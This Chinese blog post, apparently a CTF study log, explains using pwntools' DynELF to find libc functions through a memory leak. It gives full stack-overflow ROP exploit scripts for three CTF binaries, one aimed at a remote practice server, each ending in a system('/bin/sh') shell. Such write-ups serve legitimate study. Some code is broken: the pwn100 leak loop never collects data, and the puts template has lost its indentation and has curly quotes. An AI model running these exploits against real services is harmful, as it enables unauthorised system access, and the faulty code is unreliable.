利用DynElf模块完成获取libc信息

前言

记录一下另一种没有libc,完成漏洞利用的办法,学完后自我感觉这个办法已经比较落后了,没有libcseacher好用,也用起来比它难的多了。针对于libcseacher不能做的题,用这种办法,否则还是libcseacher好用。

Dynelf

解析加载的、动态链接的ELF⼆进制⽂件中的符号。给定⼀个可以在任意地址泄漏数据的函数,任何加载的 库中的任何符号都可以被解析。(官方文档解释)

基本使用框架:

io = remote(ip, port)
def leak(addr):
    payload = "xxxxxxxx" + addr + "xxxxxxxx"
    io.send(payload)
    data = io.recv()
    #debug用的
    print("%x -> %s" %(addr, (data or '').encode('hex')))
    return data
#初始化DynELF模块 
d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup(“system”, 'libc')

其中第2个参数,可以不传。进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,addr就是leak函数要泄漏信息的所在地址。正是这个addr的参数的存在,才让Dynelf函数在内存中到处的leak以及对比是否是我们寻找的sympols

且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几 个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等。

使用条件:

不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。以下是大致归纳的主要使用条件:

  • 目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;
  • 目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过。接下来,我们主要针对write和puts这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。

使用write函数来泄露

write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)。

其输出完全由其参数len决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。但是其一个不好的地方,就是需要传递3个参数,在面对64位程序的时候,其中rdx这个寄存器是比较难处理的。就不得不用万能gadget了。

万能gadget

-w817
这个是libc_init函数的汇编,这个函数是一定要调用的,并且可以控制rdi,rsi,rdx,所以能称的上万能gadget。对于使用这段gadget,首先在初识函数的ret处填入如图所指的pop rbx的地址,然后看下栈如何来布置:
-w486
(其中为什么填入got地址,是因为接下来ret到mov rdx,r13后面的call qword ptr[r12+rbx*8] 其是call这个地址的。)
在第一段pop 后ret地址要填入mov rdx,r13的地址,然后再慢慢执行,当执行完成call以后,流程还会回到这一段
-w259
所以我们为了再次利用最后那个retn,ret到自己想去的地方,要在栈上摆好7*8=56个字节。接下来练习关于write两个题目。

PlaidCTF 2013 ropasaurusrex

查保护和arch
   Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ida分析
ssize_t sub_80483F4()
{
  char buf; // [esp+10h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

函数十分简单,溢出在这个位置。并且plt里面有write函数,然后就用它来泄露。

exp
from pwn import *
io = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
buf = 0x8049620
padding = 140
write_add = elf.symbols['write']
start_addr = 0x08048340

def leak(addr):
    p = ''
    p += padding * 'a'
    p += p32(write_add)
    p += p32(start_addr)
    p += p32(1)
    p += p32(addr)
    p += p32(0x4)
    io.sendline(p)
    content = io.recv(4)
    # print("%x -> %s" %(addr, (content or '').encode('hex')))
    return content

d = DynELF(leak,elf=elf)
system_add = d.lookup('system','libc')
read_add = d.lookup('read','libc')
log.info("system_add = %x", system_add)
log.info("read_add = %x", read_add)
p = padding * 'a' + p32(read_add) + p32(system_add) + p32(0) + p32(buf) + p32(8)
io.sendline(p)
io.sendline('/bin/sh\x00')
io.interactive()

Jarvis_oj_leave4

查保护和arch
[*] '/media/psf/mypwn2/jarvis_OJ/level4/level4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ida分析

-w420

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

漏洞函数,存在栈溢出。还是跟上题一样的思路。

exp
from pwn import *
import time
# context.log_level = 'debug'
context.arch = 'i386'
# io = process('./level4')
io = remote('pwn2.jarvisoj.com',9880)
elf = ELF('./level4')
__libc_start_main_got = elf.got['__libc_start_main']
write_plt = elf.symbols['write']
start_addr = 0x08048350
padding = 140

def leak(addr):
    payload = padding * 'a' + p32(write_plt) + p32(start_addr) + p32(1) + p32(addr) +p32(0x4)
    io.sendline(payload)
    data = io.recv(4)
    print("%x -> %s" %(addr, (data or '').encode('hex')))

    return data
d = DynELF(leak,elf = elf)
system_addr = d.lookup('system','libc')
info('system_addr = %#x' %system_addr)
read_addr = d.lookup('read','libc')
info('read_addr = %#x' %read_addr)
binsh_add = 0x804A01C
payload = padding * 'a' + p32(read_addr) + p32(system_addr) + p32(0) + p32(binsh_add) + p32(8)
io.sendline(payload)
sleep(0.1)
io.sendline('/bin/sh\x00')
io.interactive()

使用puts函数来泄露

printf, puts这类函数的特点是会被特殊字符影响,puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

针对缺点的改进办法

puts输出完后就没有其他输出

leak函数模板
def leak(address):
count = 0
content = ‘’
payload = xxx
p.send(payload)
print p.recvuntil(‘xxxn’) #一定要在puts前释放完输出
up = “”
while True:
c = p.recv(numb=1, timeout=0.1)
count += 1
if up == ‘\n’ and c == “”: #接收到的上一个字符为回车符,而当前接收不到新字符,则
content += content[:-1] +’\x00’ #删除puts函数输出的末尾回车符
break
else:
content += c
up = c
content = content[:4] #取指定字节数
log.info(“%#x => %s” % (address, (content or ‘’).encode(‘hex’)))
return content
其中c = p.recv(numb=1, timeout=0.1)由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待0.1秒钟,如果确实接收不到了,就说明输出结束了。以便与不是标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””

puts输出完后还有其他输出
def leak(address):
  count = 0
  content = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxxn")) #一定要在puts前释放完输出
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == '\n' and c == "x":  #一定要找到泄漏信息的字符串特征
      content = content[:-1] + "x00"                  
      break
    else:
      content += c
    up = c
  content = content[:4] 
  log.info("%#x => %s" % (address, (content or '').encode('hex')))
  return content

Lctf_2016_pwn100

查保护和arch
[*] '/media/psf/mypwn2/ichunqiu/0x05/LCTF 2016-pwn100/pwn100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ida分析
int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= a2 )
      break;
    read(0, (void *)(i + a1), 1uLL);
  }
  return result;
}

主要的漏洞函数在这两个。这二个函数结合起来引起栈溢出,第二个函数还对读入数据做了处理,我们要保证送过去200的个自己,注意要用send发。

  1. 因为其有puts函数,这次就用puts函数来进行leak。等leak出来以后,返回start清理栈,再用dynelf找出system,和read函数的地址。
  2. 第二次构造rop链的时候,用read函数读system(/bin/sh)到一个确定的地址,还是会到start处。
  3. 第三次构造时候,直接进行调用system函数的rop链即可。

其中对于read这个函数,rdx这个参数就得用万能gadget来控制了。
-w820

exp
#coding:utf-8
from pwn import *
context.arch = 'amd64'
# context.log_level = 'info'
io = process('./pwn100')
elf = ELF('./pwn100')
# libc = elf.libc
padding = 72
puts_plt = elf.plt['puts']
read_got = elf.got['read']
start_add = 0x000400550
pop_rdi = 0x400763
def leak(addr):
    payload = padding * 'a' + p64(pop_rdi) + p64(addr) + p64(puts_plt) + p64(start_add)#flat[(pop_rdi,addr,puts_plt,start_add)]
    payload = payload.ljust(200,'b')
    io.send(payload)
    count = 0
    up = ''
    content = ''
    io.recvuntil('bye~\n') #一定要在puts前释放完输出
    while True:
        c = io.recv(numb=1, timeout=0.1)
        count += 1
        if up == '\n' and c == "":  #接收到的上一个字符为回车符,而当前接收不到新字符,则
            content = content[:-1]  +'\x00'             #删除puts函数输出的末尾回车符
            break
            content += c
        else:
            up = c
    content = content[:4]  #取指定字节数
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system','libc')
log.info('system_addr = %#x' %system_addr)
binsh_addr = 0x601068 - 8

payload = padding * 'a' + flat([0x0040075A,0,1,read_got,8,binsh_addr,0,0x00400740,'\x00'*56,start_add])
payload = payload.ljust(200,'b')
io.send(payload)
io.recvuntil('bye~\n')

io.send('/bin/sh\x00')
payload = padding * 'a' + flat([pop_rdi,binsh_addr,system_addr])
payload = payload.ljust(200,'b')
io.send(payload)
io.interactive()

其他获取libc的方法

虽然DynELF是一个dump利器,但是如果写不出来leak函数,下libc被墙等等。就用这两个网站:
http://libcdb.com/
https://libc.blukat.me/
都是只有有两个泄露地址,就可以查到对应的libc版本,并且可以给出其原件,接着就可以进行其他操作。

还有在比赛过程中,如果一个题目不好获取到libc,那么可以看看其他题目的libc,有可能这个赛事平台服务器都是这个版本。



pwn 学习记录

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!